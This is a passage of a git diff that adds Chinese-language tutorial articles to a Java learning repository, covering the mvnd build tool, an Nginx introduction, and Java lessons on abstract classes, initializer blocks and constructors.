-反复多测试几次,发现 mvnd 确实比 Maven 要快上许多!Maven 维持在 5 秒多,mvnd 维持在 3 秒左右。
-
-当然了,我本地这个 Spring Boot 项目本身非常简单,如果是构建时间更长一点的项目,mvnd 的优势会更大。
-
-感受一下 mvnd 在一个 24 核电脑上执行的样子吧,简直就是效率神器!
-
-
-
----
参考链接:
->- 嘟嘟MD:[http://tengj.top/2018/01/01/maven/](http://tengj.top/2018/01/01/maven/)
->- 杭建:《Java 工程师修炼之道》
->- 许晓斌:[https://www.infoq.cn/article/2011/04/xxb-maven-7-plugin](https://www.infoq.cn/article/2011/04/xxb-maven-7-plugin)
-
-希望大家能在阅读完本篇文章后对 Maven 有一个初步的了解和掌握,并将这些技能在项目的实战中加以练习,以达到项目工程化的要求。
+>嘟嘟MD:http://tengj.top/2018/01/01/maven/
+>杭建:《Java 工程师修炼之道》
+>许晓斌:https://www.infoq.cn/article/2011/04/xxb-maven-7-plugin
-
\ No newline at end of file
+希望大家能在阅读完本篇文章后对 Maven 有一个初步的了解和掌握,并将这些技能在项目的实战中加以练习,以达到项目工程化的要求。
\ No newline at end of file
diff --git a/docs/maven/mvnd.md b/docs/maven/mvnd.md
new file mode 100644
index 0000000000..b67870df38
--- /dev/null
+++ b/docs/maven/mvnd.md
@@ -0,0 +1,101 @@
+在 GitHub 上闲逛的时候,发现了一个新的项目:**maven-mvnd**,持续霸占 GitHub trending 榜单好几天了。
+
+
+
+maven-mvnd,可以读作 Maven Daemon,译作 Maven 守护版,旨在为 Maven 提供更快的构建速度,灵感借鉴了 Gradle 和 Takari(Maven 生命周期优化器)。
+
+>https://github.com/apache/maven-mvnd
+
+
+
+
+Maven 和 Gradle 可以说是项目构建工具中的绝代双骄,我自己的观点是:**Maven 不比 Gradle 好,Gradle 也不比 Maven 好**。
+
+
+
+
+瞧我这该死的观点,足够的圆滑。
+
+Maven 的优点是稳定可靠,在绝大多数的项目上工作良好,社区生态很完善,几乎所有的 Java 开发者都在用。Maven 的缺点是,对于大一点的项目来说,构建太慢了。
+
+Gradle 的优点是足够的灵活,构建速度也会更快一点,因为使用了后台进程和缓存机制。Gradle 的缺点是版本迭代速度太快,社区跟不上,对于初学者来说,学习曲线比较陡峭。
+
+mvnd 并不是 Maven 的重构版,**等于是 Maven ∩ (Gradle & Takari) 部分优点的一个交集**。
+
+mvnd 使用了以下架构方式:
+
+- 内部嵌入了 Maven,所以不需要单独安装 Maven。
+- 使用守护进程进行构建,守护进程可以为多个 mvnd 客户端的连续请求提供服务。
+- 使用了内置的 [GraalVM](https://www.graalvm.org/reference-manual/native-image/) 虚拟机,和传统的 Java 虚拟机相比,它的启动速度更快,使用内存更少,内部的 JIT 编译器在编译时花费的时间也更少。
+- 如果已有的守护进程都在工作中,则可以新建多个守护进程来支撑新的构建请求。
+
+这种架构方式使得 mvnd 的性能优势得到了进一步提升。
+
+好,我们来简单尝试下。
+
+mvnd 像 Maven 一样,可以跨平台,支持 Windows、macOS和 Linux。自动化安装的命令也非常简单,如下所示:
+
+```
+# Windows
+choco install mvndaemon
+# Linux
+sdk install mvnd
+# macOS
+brew install mvndaemon/homebrew-mvnd/mvnd
+```
+
+为了方便演示,我这里采用手动安装的方式,速度也会更快一点。
+
+通过下面的网址下载 mvnd 的 release 版本:
+
+>https://github.com/apache/maven-mvnd/releases
+
+
+
+下载完成后解压,然后把 bin 目录添加到 PATH 路径下。
+
+在终端执行 `mvnd -v` 就可以查看到 mvnd 的配置信息了。
+
+
+
+如果出现类似下面这样的错误,未找到 JAVA_HOME,可以按照提示在对应的文件中追加 java.home 属性,也就是 JDK 的安装路径。
+
+
+
+刚好之前搭建了一个Spring Boot 项目,我们可以拿 Maven 和 mvnd 来对比一下构建速度。
+
+先执行 `mvn clean package` 命令,一共花费的时间是 5.318 秒。
+
+
+
+
+再执行 `mvnd clean package` 命令,一共花费的时间是 3.225 秒。
+
+
+
+反复多测试几次,发现 mvnd 确实比 Maven 要快上许多!Maven 维持在 5 秒多,mvnd 维持在 3 秒左右。
+
+当然了,我本地这个 Spring Boot 项目本身非常简单,如果是构建时间更长一点的项目,mvnd 的优势会更大。
+
+感受一下 mvnd 在一个 24 核电脑上执行的样子吧,简直就是效率神器!
+
+
+
+------
+
+
+本篇已收录至 GitHub 上星标 1.0k+ star 的开源专栏《Java 程序员进阶之路》,该专栏风趣幽默、通俗易懂,对 Java 爱好者极度友好和舒适😄,内容包括但不限于 Java 基础、Java 集合框架、Java IO、Java 并发编程、Java 虚拟机、Java 企业级开发(Git、SSM、Spring Boot)等核心知识点。
+
+该专栏目前也在霸榜 GitHub Trending(Java 类),这让二哥终于体会到了霸榜的快乐!
+
+
+
+star 了这个专栏就等于你在浩瀚的 Java 知识海洋里有了一盏再也不会迷路的灯塔。
+
+>[https://github.com/itwanger/toBeBetterJavaer](https://github.com/itwanger/toBeBetterJavaer)
+
+
+*没有什么使我停留——除了目的,纵然岸旁有玫瑰、有绿荫、有宁静的港湾,我是不系之舟*。
+
+
+
diff --git a/docs/nginx/nginx.md b/docs/nginx/nginx.md
new file mode 100644
index 0000000000..b02dcbaa14
--- /dev/null
+++ b/docs/nginx/nginx.md
@@ -0,0 +1,214 @@
+最近在搭建一个网站,就不可避免地要用到 Nginx,索性就出一期 Nginx 的入门教程,希望也可以帮助到大家~😁
+
+作为开发者,相信大家都知道 Nginx 的重要性。Nginx 是一个高性能的 HTTP 和反向代理 Web 服务器,由俄罗斯的伊戈尔·赛索耶夫开发,第一个版本发布于 2004 年 10 月 4 日。
+
+
+
+
+
+Nginx 的特点是:
+
+- 内存占用少
+- 并发能力强(可支持大约 50000 个并发连接)
+- 配置超简洁
+- bug 非常少
+- 安装超简单
+- 服务特别稳(几个月也不需要重启)
+
+基于这些特点,越来越多的网站开始使用 Nginx。于是,掌握 Nginx 就变成了开发者的一项必不可少的技能。
+
+### 一、Nginx 的作用
+
+**反向代理**是 Nginx 作为 Web 服务器最常用的功能之一。什么是反向代理呢?很多初学者在第一次遇到这个名词的时候总免不了出现很多问号。
+
+
+
+那要想搞明白什么是反向代理,就必须得搞明白什么是正向代理。
+
+举个例子,小二的浏览器是无法直接访问谷哥的,但香港的代理服务器是可以访问谷哥的,于是小二访问了香港的代理服务器,也就间接地访问了谷哥。那这台代理服务器也就是**正向代理**。
+
+
+
+总结一句就是,**正向代理是代理客户端的**,让你能正常访问目的服务器。
+
+与之相反,**反向代理是代理服务器的**,让大量的请求均衡地访问到某一台服务器上。
+
+举个例子,10 万个小二同时在访问 itwanger.com, 如果只有一台服务器的话,很容易就瘫痪了,于是高并发的情况下会有很多台服务器(假如 10 台吧)来接这个活,那怎么让 10 万个小二访问到这 10 台服务器呢?
+
+这就需要一个反向代理服务器了,反向代理服务器让 1 万个小二访问服务器 A,1 万个小二访问服务器 B,1 个小二访问服务器 C,这样的话,每台服务器的压力就相应减小了,是不是很 nice?
+
+
+
+那问题来了。每台服务器的能力可能不同,比如说服务器 A 的内存比较大一点,有 100 个 G;服务器 B 的内存小一点,有 10 个 G;服务器 C 的内存更小一点,只有 1 个 G。怎么才能让没台服务器承担起它能力范围内的访问呢?
+
+**Nginx 内置了轮询和加权轮询来达到负载均衡的目的**。服务器 A 牛逼就把它的权重加大一点,让 5 万个小二访问它;服务器 B 弱一点,权重就再小一点,让 2 万个小二访问它;服务器 C 更弱,权重就最小,让 1 万个小二访问它。
+
+除此之外,Nginx 还有一个很牛逼的功能是**动静分离**。
+
+在我们的软件开发中,有些请求是需要后台处理的;有些请求是不需要后台处理的,比如说 css、js 这些文件请求,这些不需要经过后台处理的文件就叫静态文件。
+
+我们可以根据一些规则,把动态资源和静态资源分开,然后通过 Nginx 把请求分开,静态资源的请求就不需要经过 Web 服务器处理了,从而提高整体上的资源的响应速度。
+
+
+
+## 二、Nginx 的安装
+
+针对不同的操作系统,Nginx 的安装各不相同。Windows 可以直接到官网下载 zip 绿色安装包,解压后就可以了。
+
+>http://nginx.org/en/download.html
+
+之前带大家白票过阿里云的服务器,有 Linux 服务器的话,直接通过[宝塔面板](https://mp.weixin.qq.com/s/ditN9J80rSWwnYRumwb4ww)这个神器就可以安装了。
+
+不过,如果在安装宝塔面板必备工具包的时候,如果选择了 phpmyadmin(MySQL 的管理工具),会覆盖掉 80 端口,就导致没办法直接通过默认配置的方式访问 Nginx 启动页面了。
+
+
+
+我这里以 macOS 环境为例,来演示一下。
+
+第一步,通过 `brew info nginx` 命令查看 Nginx 是否安装。
+
+
+
+第二步,通过 `brew install nginx` 命令安装 Nginx。
+
+
+
+从以上信息可以得出:
+
+- 根目录是 `/usr/local/var/www`
+- 配置文件是 `/usr/local/etc/nginx/nginx.conf`
+- 默认端口是 8080
+
+第三步,通过 `nginx` 命令启动 Nginx。
+
+
+
+第四步,在浏览器地址栏通过 `localhost:8080` 访问,可以看到以下欢迎页面。
+
+
+
+### 三、Nginx 常用命令
+
+通常来说,Nginx 一旦启动后,我们是很少让它退出的,使用最多的就是 reload 命令。当我们修改了配置文件,是需要执行一次 reload 命令让 Nginx 生效的。
+
+```
+nginx 启动
+nginx -s stop 停止
+nginx -s quit 安全退出
+nginx -s reload 重新加载配置文件
+ps aux|grep nginx 查看nginx进程
+```
+
+要知道,Nginx 的 reload 对用户是无感的,这一点我觉得很牛逼~
+
+### 四、Nginx 的配置
+
+我们先来看一下 Nginx 的配置结构图:
+
+```
+main # 全局配置
+├── events # 配置网络连接
+├── http # 配置代理、缓存、日志等
+│ ├── upstream # 配置负载均衡
+│ ├── server # 配置虚拟主机,可以有多个 server
+│ ├── server
+│ │ ├── location # 用于匹配 URI(URL 是 URI 的一种),可以有多个 location
+│ │ ├── location
+│ │ └── ...
+│ └── ...
+└── ...
+```
+
+再把 Nginx 的默认配置拉出来看一下,我把注释加了进去,这样大家很容易就明白这行配置是用来干嘛的了。
+
+```
+worker_processes 1; # Nginx 进程数,一般设置为和 CPU 核数一样
+
+events {
+ worker_connections 1024; # 每个进程允许最大并发数
+}
+
+http {
+ include mime.types; # 文件扩展名与类型映射表
+ default_type application/octet-stream;
+
+ sendfile on; # 开启高效传输模式
+ keepalive_timeout 65; # 保持连接的时间,也叫超时时间,单位秒
+
+ server {
+ listen 8080; # 配置监听的端口
+ server_name localhost; # 配置的域名
+
+ location / {
+ root html; # 网站根目录
+ index index.html index.htm; # 默认首页文件
+ }
+
+ error_page 500 502 503 504 /50x.html; # 默认50x对应的访问页面
+ location = /50x.html {
+ root html;
+ }
+ }
+
+ include servers/*; # 加载子配置项
+}
+```
+
+好,现在我们登录宝塔面板,尝试把默认的 server 配置复制到 Linux 服务器中的 Nginx 配置里。
+
+
+
+简单解释一下。
+
+由于我的服务器上 80 端口是默认打开的,所以我将监听端口配置成了 80,如果你配置成其他端口的话,记得宝塔面板和云服务的安全组里把端口打开。
+
+root 我指定了 `/home/www` 目录,首页文件为 index.html。这个文件是我自定义的,来看一下内容。
+
+```
+
+
+
+沉默王二
+
+
+
+
+```
+
+很言简意赅,总之就是二哥,牛逼~
+
+好,保存配置文件,并且 reload Nginx,我们在本地的浏览器中输入服务器的 IP 地址就可以看到效果了。
+
+
+
+### 五、Nginx 的学习资料
+
+关于 Nginx 的负载均衡,还有动静分离,等到二哥的网站跑起来后,可以专门搞个视频给大家演示下,比较直观一点。Nginx 的入门非常简单,但有一说一,如果想要在工作中用好 Nginx,还是需要花费一番功夫的。
+
+我这里再给大家推荐一些不错的学习资料吧。
+
+**1)狂神说的视频入门教程**,我个人觉得,狂神的入门教程还是非常舒适的,语速和内容都刚刚好。
+
+
+
+>https://www.bilibili.com/video/BV1F5411J7vK
+
+**2)黑马程序员Nginx教程**,总共 159 讲,基本上算是非常全面的 Nginx 的视频教程了。
+
+
+
+>https://www.bilibili.com/video/BV1ov41187bq
+
+**3)极客时间上的 Nginx100 讲**,讲的比较深一点,涉及到不少原理层面的东西。钱包比较鼓的话,可以去付费下。不过,听说在某个地方也可以白票。
+
+**4)Nginx 从入门到实践,万字详解**,图文版的,可以到掘金上看看这篇文章,内容基本上面面俱到了(可以看一下下面的目录),配合前面的视频课,拿下 Nginx 基本上是稳了。
+
+
+
+>https://juejin.cn/post/6844904144235413512
+
+这些资料如果能全部过一遍的话,我要喊你 Nginx 小王子了,估计公司遇到 Nginx 问题的话,你肯定是解决问题的那一个。
+
+
+
+
diff --git a/docs/oo/abstract.md b/docs/oo/abstract.md
new file mode 100644
index 0000000000..dea56687f6
--- /dev/null
+++ b/docs/oo/abstract.md
@@ -0,0 +1,241 @@
+
+
+“二哥,你这明显加快了更新的频率呀!”三妹对于我最近的肝劲由衷的佩服了起来。
+
+“哈哈,是呀,这次不能再断更了,我要再更 175 篇,总计 200 篇,给广大的学弟学妹们一个完整的 Java 学习体系。”我对未来充满了信心。
+
+“那就开始吧。”三妹说。
+
+-------
+
+
+定义抽象类的时候需要用到关键字 `abstract`,放在 `class` 关键字前,就像下面这样。
+
+```java
+abstract class AbstractPlayer {
+}
+```
+
+关于抽象类的命名,《阿里的 Java 开发手册》上有强调,“抽象类命名要使用 Abstract 或 Base 开头”,这条规约还是值得遵守的。
+
+抽象类是不能实例化的,尝试通过 `new` 关键字实例化的话,编译器会报错,提示“类是抽象的,不能实例化”。
+
+
+
+虽然抽象类不能实例化,但可以有子类。子类通过 `extends` 关键字来继承抽象类。就像下面这样。
+
+```java
+public class BasketballPlayer extends AbstractPlayer {
+}
+```
+
+如果一个类定义了一个或多个抽象方法,那么这个类必须是抽象类。
+
+当我们尝试在一个普通类中定义抽象方法的时候,编译器会有两处错误提示。第一处在类级别上,提示“这个类必须通过 `abstract` 关键字定义”,见下图。
+
+
+
+第二处在尝试定义 abstract 的方法上,提示“抽象方法所在的类不是抽象的”,见下图。
+
+
+
+抽象类中既可以定义抽象方法,也可以定义普通方法,就像下面这样:
+
+```java
+public abstract class AbstractPlayer {
+ abstract void play();
+
+ public void sleep() {
+ System.out.println("运动员也要休息而不是挑战极限");
+ }
+}
+```
+
+抽象类派生的子类必须实现父类中定义的抽象方法。比如说,抽象类 AbstractPlayer 中定义了 `play()` 方法,子类 BasketballPlayer 中就必须实现。
+
+```java
+public class BasketballPlayer extends AbstractPlayer {
+ @Override
+ void play() {
+ System.out.println("我是张伯伦,篮球场上得过 100 分");
+ }
+}
+```
+
+如果没有实现的话,编译器会提示“子类必须实现抽象方法”,见下图。
+
+
+
+“二哥,抽象方法我明白了,那什么时候使用抽象方法呢?能给我讲讲它的应用场景吗?”三妹及时的插话道。
+
+“这问题问的恰到好处呀!”我扶了扶眼镜继续说。
+
+**第一种场景**。
+
+当我们希望一些通用的功能被多个子类复用的时候,就可以使用抽象类。比如说,AbstractPlayer 抽象类中有一个普通的方法 `sleep()`,表明所有运动员都需要休息,那么这个方法就可以被子类复用。
+
+```java
+abstract class AbstractPlayer {
+ public void sleep() {
+ System.out.println("运动员也要休息而不是挑战极限");
+ }
+}
+```
+
+子类 BasketballPlayer 继承了 AbstractPlayer 类:
+
+```java
+class BasketballPlayer extends AbstractPlayer {
+}
+```
+
+也就拥有了 `sleep()` 方法。BasketballPlayer 的对象可以直接调用父类的 `sleep()` 方法:
+
+```java
+BasketballPlayer basketballPlayer = new BasketballPlayer();
+basketballPlayer.sleep();
+```
+
+子类 FootballPlayer 继承了 AbstractPlayer 类:
+
+```java
+class FootballPlayer extends AbstractPlayer {
+}
+```
+
+也拥有了 `sleep()` 方法,FootballPlayer 的对象也可以直接调用父类的 `sleep()` 方法:
+
+```java
+FootballPlayer footballPlayer = new FootballPlayer();
+footballPlayer.sleep();
+```
+
+这样是不是就实现了代码的复用呢?
+
+**第二种场景**。
+
+当我们需要在抽象类中定义好 API,然后在子类中扩展实现的时候就可以使用抽象类。比如说,AbstractPlayer 抽象类中定义了一个抽象方法 `play()`,表明所有运动员都可以从事某项运动,但需要对应子类去扩展实现,表明篮球运动员打篮球,足球运动员踢足球。
+
+```java
+abstract class AbstractPlayer {
+ abstract void play();
+}
+```
+
+BasketballPlayer 继承了 AbstractPlayer 类,扩展实现了自己的 `play()` 方法。
+
+```java
+public class BasketballPlayer extends AbstractPlayer {
+ @Override
+ void play() {
+ System.out.println("我是张伯伦,我篮球场上得过 100 分,");
+ }
+}
+```
+
+FootballPlayer 继承了 AbstractPlayer 类,扩展实现了自己的 `play()` 方法。
+
+```java
+public class FootballPlayer extends AbstractPlayer {
+ @Override
+ void play() {
+ System.out.println("我是C罗,我能接住任意高度的头球");
+ }
+}
+```
+
+为了进一步展示抽象类的特性,我们再来看一个具体的示例。假设现在有一个文件,里面的内容非常简单,只有一个“Hello World”,现在需要有一个读取器将内容从文件中读取出来,最好能按照大写的方式,或者小写的方式来读。
+
+这时候,最好定义一个抽象类 BaseFileReader:
+
+```java
+abstract class BaseFileReader {
+ protected Path filePath;
+
+ protected BaseFileReader(Path filePath) {
+ this.filePath = filePath;
+ }
+
+ public List readFile() throws IOException {
+ return Files.lines(filePath)
+ .map(this::mapFileLine).collect(Collectors.toList());
+ }
+
+ protected abstract String mapFileLine(String line);
+}
+```
+
+- filePath 为文件路径,使用 protected 修饰,表明该成员变量可以在需要时被子类访问到。
+
+- `readFile()` 方法用来读取文件,方法体里面调用了抽象方法 `mapFileLine()`——需要子类来扩展实现大小写的不同读取方式。
+
+在我看来,BaseFileReader 类设计的就非常合理,并且易于扩展,子类只需要专注于具体的大小写实现方式就可以了。
+
+小写的方式:
+
+```java
+class LowercaseFileReader extends BaseFileReader {
+ protected LowercaseFileReader(Path filePath) {
+ super(filePath);
+ }
+
+ @Override
+ protected String mapFileLine(String line) {
+ return line.toLowerCase();
+ }
+}
+```
+
+大写的方式:
+
+```java
+class UppercaseFileReader extends BaseFileReader {
+ protected UppercaseFileReader(Path filePath) {
+ super(filePath);
+ }
+
+ @Override
+ protected String mapFileLine(String line) {
+ return line.toUpperCase();
+ }
+}
+```
+
+从文件里面一行一行读取内容的代码被子类复用了。与此同时,子类只需要专注于自己该做的工作,LowercaseFileReader 以小写的方式读取文件内容,UppercaseFileReader 以大写的方式读取文件内容。
+
+来看一下测试类 FileReaderTest:
+
+```java
+public class FileReaderTest {
+ public static void main(String[] args) throws URISyntaxException, IOException {
+ URL location = FileReaderTest.class.getClassLoader().getResource("helloworld.txt");
+ Path path = Paths.get(location.toURI());
+ BaseFileReader lowercaseFileReader = new LowercaseFileReader(path);
+ BaseFileReader uppercaseFileReader = new UppercaseFileReader(path);
+ System.out.println(lowercaseFileReader.readFile());
+ System.out.println(uppercaseFileReader.readFile());
+ }
+}
+```
+
+在项目的 resource 目录下建一个文本文件,名字叫 helloworld.txt,里面的内容就是“Hello World”。文件的具体位置如下图所示,我用的集成开发环境是 Intellij IDEA。
+
+
+
+
+在 resource 目录下的文件可以通过 `ClassLoader.getResource()` 的方式获取到 URI 路径,然后就可以取到文本内容了。
+
+输出结果如下所示:
+
+```
+[hello world]
+[HELLO WORLD]
+```
+
+-------
+
+“完了吗?二哥”三妹似乎还沉浸在聆听教诲的快乐中。
+
+“是滴,这次我们系统化的学习了抽象类,可以说面面俱到了。三妹你可以把代码敲一遍,加强了一些印象,电脑交给你了。”说完,我就跑到阳台去抽烟了。
+
+“呼。。。。。”一个大大的眼圈飘散开来,又是愉快的一天~
diff --git a/docs/oo/code-init.md b/docs/oo/code-init.md
new file mode 100644
index 0000000000..e584338710
--- /dev/null
+++ b/docs/oo/code-init.md
@@ -0,0 +1,116 @@
+
+“哥,今天我们要学习的内容是‘代码初始化块’,对吧?”看来三妹已经提前预习了我上次留给她的作业。
+
+“是的,三妹。代码初始化块用于初始化一些成员变量。 ”我面带着朴实无华的微笑回答着她,“对象在创建的时候会执行代码初始化块。”
+
+“可以直接通过‘=’操作符对成员变量进行初始化,但通过代码初始化块可以做更多的事情,比如说打印出成员变量初始化后的值。”
+
+“三妹,来看下面的代码,我们可以直接通过 `=` 操作符对成员变量进行初始化。”
+
+```java
+class Bike{
+ int speed=100;
+}
+```
+
+“哥,那为什么还需要代码初始化块呢?”三妹眨了眨眼睛,不解地问。
+
+“我们可以通过代码初始化块执行一个更复杂的操作,比如为集合填充值。来看下面这段代码。”
+
+```java
+public class Bike {
+ List list;
+
+ {
+ list = new ArrayList<>();
+ list.add("沉默王二");
+ list.add("沉默王三");
+ }
+
+ public static void main(String[] args) {
+ System.out.println(new Bike().list);
+ }
+}
+```
+
+“如果只使用‘=’操作符的话,是没办法完成集合初始化的,对吧?‘=’ 后面只能 new 出集合,却没办法填充值,代码初始化就可以完成这项工作。”
+
+“构造方法执行得早还是代码初始化块啊,哥?”三妹这个问题问的还是挺有水平的。
+
+“不要着急,三妹,先来看下面这个例子。”
+
+```java
+public class Car {
+ Car() {
+ System.out.println("构造方法");
+ }
+
+ {
+ System.out.println("代码初始化块");
+ }
+
+ public static void main(String[] args) {
+ new Car();
+ }
+}
+```
+
+“我们来看一下程序的输出结果就一下子明白了。”
+
+```
+代码初始化块
+构造方法
+```
+
+“从输出结果看上去,仿佛代码初始化块执行得更早,对吧?事实上是这样子吗?”我露出神秘的微笑,问三妹。
+
+“难道我看到的是假象吗?”三妹睁大了眼睛。
+
+“不是的,对象在初始化的时候会先调用构造方法,这是毫无疑问的,只不过,构造方法在执行的时候会把代码初始化块放在构造方法中其他代码之前,所以,先看到了‘代码初始化块’,后看到了‘’构造方法’。”
+
+说完这句话,我打开 draw.io,使上了吃奶的劲,画出了下面这幅图。
+
+
+
+“哦,原来如此啊!”三妹仿佛发现了新大陆,意味深长地说。
+
+等三妹明白彻底搞明白后,我对她继续说道:“对于代码初始化来说,它有三个规则。”
+
+- 类实例化的时候执行代码初始化块;
+- 实际上,代码初始化块是放在构造方法中执行的,只不过比较靠前;
+- 代码初始化块里的执行顺序是从前到后的。
+
+“这些规则不用死记硬背,大致了解一下就行了。我们继续来看下面这段代码。”话音刚落,我就在新版的 IDEA 中噼里啪啦地敲了起来,新版真香。
+
+```java
+class A {
+ A () {
+ System.out.println("父类构造方法");
+ }
+}
+public class B extends A{
+ B() {
+ System.out.println("子类构造方法");
+ }
+
+ {
+ System.out.println("代码初始化块");
+ }
+
+ public static void main(String[] args) {
+ new B();
+ }
+}
+```
+
+“来看一下输出结果。”
+
+```
+父类构造方法
+代码初始化块
+子类构造方法
+```
+
+“在默认情况下,子类的构造方法在执行的时候会主动去调用父类的构造方法。也就是说,其实是构造方法先执行的,再执行的代码初始化块。”
+
+“这个例子再次印证了之前的第二条规则:代码初始化块是放在构造方法中执行的,只不过比较靠前。”
\ No newline at end of file
diff --git a/docs/oo/construct.md b/docs/oo/construct.md
new file mode 100644
index 0000000000..14836c7875
--- /dev/null
+++ b/docs/oo/construct.md
@@ -0,0 +1,349 @@
+
+
+我对三妹说,“[上一节](https://mp.weixin.qq.com/s/L4jAgQPurGZPvWu8ECtBpA)学了 Java 中的方法,接着学构造方法的话,难度就小很多了。”
+
+“在 Java 中,构造方法是一种特殊的方法,当一个类被实例化的时候,就会调用构造方法。只有在构造方法被调用的时候,对象才会被分配内存空间。每次使用 `new` 关键字创建对象的时候,构造方法至少会被调用一次。”
+
+“如果你在一个类中没有看见构造方法,并不是因为构造方法不存在,而是被缺省了,编译器会给这个类提供一个默认的构造方法。往大的方面说,就是,Java 有两种类型的构造方法:**无参构造方法和有参构造方法**。”
+
+“注意,之所以叫它构造方法,是因为对象在创建的时候,需要通过构造方法初始化值——就是描写对象的那些状态,对应的是类中的字段。”
+
+### 01、创建构造方法的规则有哪些
+
+构造方法必须符合以下规则:
+
+- 构造方法的名字必须和类名一样;
+- 构造方法没有返回类型,包括 void;
+- 构造方法不能是抽象的、静态的、最终的、同步的,也就是说,构造方法不能通过 abstract、static、final、synchronized 关键字修饰。
+
+简单解析一下最后一条规则。
+
+- 由于构造方法不能被子类继承,所以用 final 和 abstract 修饰没有意义;
+- 构造方法用于初始化一个对象,所以用 static 修饰没有意义;
+- 多个线程不会同时创建内存地址相同的同一个对象,所以用 synchronized 修饰没有必要。
+
+构造方法的语法格式如下:
+
+```java
+class class_name {
+ public class_name(){} // 默认无参构造方法
+ public ciass_name([paramList]){} // 定义有参数列表的构造方法
+ …
+ // 类主体
+}
+```
+
+值得注意的是,如果用 void 声明构造方法的话,编译时不会报错,但 Java 会把这个所谓的“构造方法”当成普通方法来处理。
+
+```java
+/**
+ * 微信搜索「沉默王二」,回复 Java
+ *
+ * @author 沉默王二
+ * @date 2020/11/26
+ */
+public class Demo {
+ void Demo(){ }
+}
+```
+
+`void Demo(){}` 看起来很符合构造方法的写法(与类名相同),但其实只是一个不符合规范的普通方法,方法名的首字母使用了大写,方法体为空,它并不是默认的无参构造方法,可以通过反编译后的字节码验证。
+
+```java
+public class Demo {
+ public Demo() {
+ }
+
+ void Demo() {
+ }
+}
+```
+
+`public Demo() {}` 才是真正的无参构造方法。
+
+不过,可以使用访问权限修饰符(private、protected、public、default)来修饰构造方法,访问权限修饰符决定了构造方法的创建方式。
+
+
+### 02、 什么是默认构造方法
+
+如果一个构造方法中没有任何参数,那么它就是一个默认构造方法,也称为无参构造方法。
+
+```java
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+public class Bike {
+ Bike(){
+ System.out.println("一辆自行车被创建");
+ }
+
+ public static void main(String[] args) {
+ Bike bike = new Bike();
+ }
+}
+```
+
+在上面这个例子中,我们为 Bike 类中创建了一个无参的构造方法,它在我们创建对象的时候被调用。
+
+程序输出结果如下所示:
+
+```
+一辆自行车被创建
+```
+
+通常情况下,无参构造方法是可以缺省的,我们开发者并不需要显式的声明无参构造方法,把这项工作交给编译器更轻松一些。
+
+
+
+“二哥,默认构造方法的目的是什么?它为什么是一个空的啊?”三妹疑惑地看着我,提出了这个尖锐的问题。
+
+“三妹啊,默认构造方法的目的主要是为对象的字段提供默认值,看下面这个例子你就明白了。”我胸有成竹地回答道。
+
+```java
+/**
+ * @author 沉默王二,一枚有趣的程序员
+ */
+public class Person {
+ private String name;
+ private int age;
+
+ public static void main(String[] args) {
+ Person p = new Person();
+ System.out.println("姓名 " + p.name + " 年龄 " + p.age);
+ }
+}
+```
+
+输出结果如下所示:
+
+```
+姓名 null 年龄 0
+```
+
+在上面的例子中,默认构造方法初始化了 name 和 age 的值,name 是 String 类型,所以默认值为 null,age 是 int 类型,所以默认值为 0。如果没有默认构造方法的话,这项工作就无法完成了。
+
+
+### 03、什么是有参构造方法
+
+有参数的构造方法被称为有参构造方法,参数可以有一个或多个。有参构造方法可以为不同的对象提供不同的值。当然,也可以提供相同的值。
+
+```java
+/**
+ * @author 沉默王二,一枚有趣的程序员
+ */
+public class ParamConstructorPerson {
+ private String name;
+ private int age;
+
+ public ParamConstructorPerson(String name, int age) {
+ this.name = name;
+ this.age = age;
+ }
+
+ public void out() {
+ System.out.println("姓名 " + name + " 年龄 " + age);
+ }
+
+ public static void main(String[] args) {
+ ParamConstructorPerson p1 = new ParamConstructorPerson("沉默王二",18);
+ p1.out();
+
+ ParamConstructorPerson p2 = new ParamConstructorPerson("沉默王三",16);
+ p2.out();
+ }
+}
+```
+
+在上面的例子中,构造方法有两个参数(name 和 age),这样的话,我们在创建对象的时候就可以直接为 name 和 age 赋值了。
+
+```java
+new ParamConstructorPerson("沉默王二",18);
+new ParamConstructorPerson("沉默王三",16);
+```
+
+如果没有有参构造方法的话,就需要通过 setter 方法给字段赋值了。
+
+
+### 04、如何重载构造方法
+
+在 Java 中,构造方法和方法类似,只不过没有返回类型。它也可以像方法一样被重载。构造方法的重载也很简单,只需要提供不同的参数列表即可。编译器会通过参数的数量来决定应该调用哪一个构造方法。
+
+```java
+/**
+ * @author 沉默王二,一枚有趣的程序员
+ */
+public class OverloadingConstrutorPerson {
+ private String name;
+ private int age;
+ private int sex;
+
+ public OverloadingConstrutorPerson(String name, int age, int sex) {
+ this.name = name;
+ this.age = age;
+ this.sex = sex;
+ }
+
+ public OverloadingConstrutorPerson(String name, int age) {
+ this.name = name;
+ this.age = age;
+ }
+
+ public void out() {
+ System.out.println("姓名 " + name + " 年龄 " + age + " 性别 " + sex);
+ }
+
+ public static void main(String[] args) {
+ OverloadingConstrutorPerson p1 = new OverloadingConstrutorPerson("沉默王二",18, 1);
+ p1.out();
+
+ OverloadingConstrutorPerson p2 = new OverloadingConstrutorPerson("沉默王三",16);
+ p2.out();
+ }
+}
+```
+
+创建对象的时候,如果传递的是三个参数,那么就会调用 `OverloadingConstrutorPerson(String name, int age, int sex)` 这个构造方法;如果传递的是两个参数,那么就会调用 `OverloadingConstrutorPerson(String name, int age)` 这个构造方法。
+
+
+### 05、构造方法和方法有什么区别
+
+构造方法和方法之间的区别还是蛮多的,比如说下面这些:
+
+
+
+
+
+### 06、如何复制对象
+
+复制一个对象可以通过下面三种方式完成:
+
+- 通过构造方法
+- 通过对象的值
+- 通过 Object 类的 `clone()` 方法
+
+1)通过构造方法
+
+```java
+/**
+ * @author 沉默王二,一枚有趣的程序员
+ */
+public class CopyConstrutorPerson {
+ private String name;
+ private int age;
+
+ public CopyConstrutorPerson(String name, int age) {
+ this.name = name;
+ this.age = age;
+ }
+
+ public CopyConstrutorPerson(CopyConstrutorPerson person) {
+ this.name = person.name;
+ this.age = person.age;
+ }
+
+ public void out() {
+ System.out.println("姓名 " + name + " 年龄 " + age);
+ }
+
+ public static void main(String[] args) {
+ CopyConstrutorPerson p1 = new CopyConstrutorPerson("沉默王二",18);
+ p1.out();
+
+ CopyConstrutorPerson p2 = new CopyConstrutorPerson(p1);
+ p2.out();
+ }
+}
+```
+
+在上面的例子中,有一个参数为 CopyConstrutorPerson 的构造方法,可以把该参数的字段直接复制到新的对象中,这样的话,就可以在 new 关键字创建新对象的时候把之前的 p1 对象传递过去。
+
+2)通过对象的值
+
+```java
+/**
+ * @author 沉默王二,一枚有趣的程序员
+ */
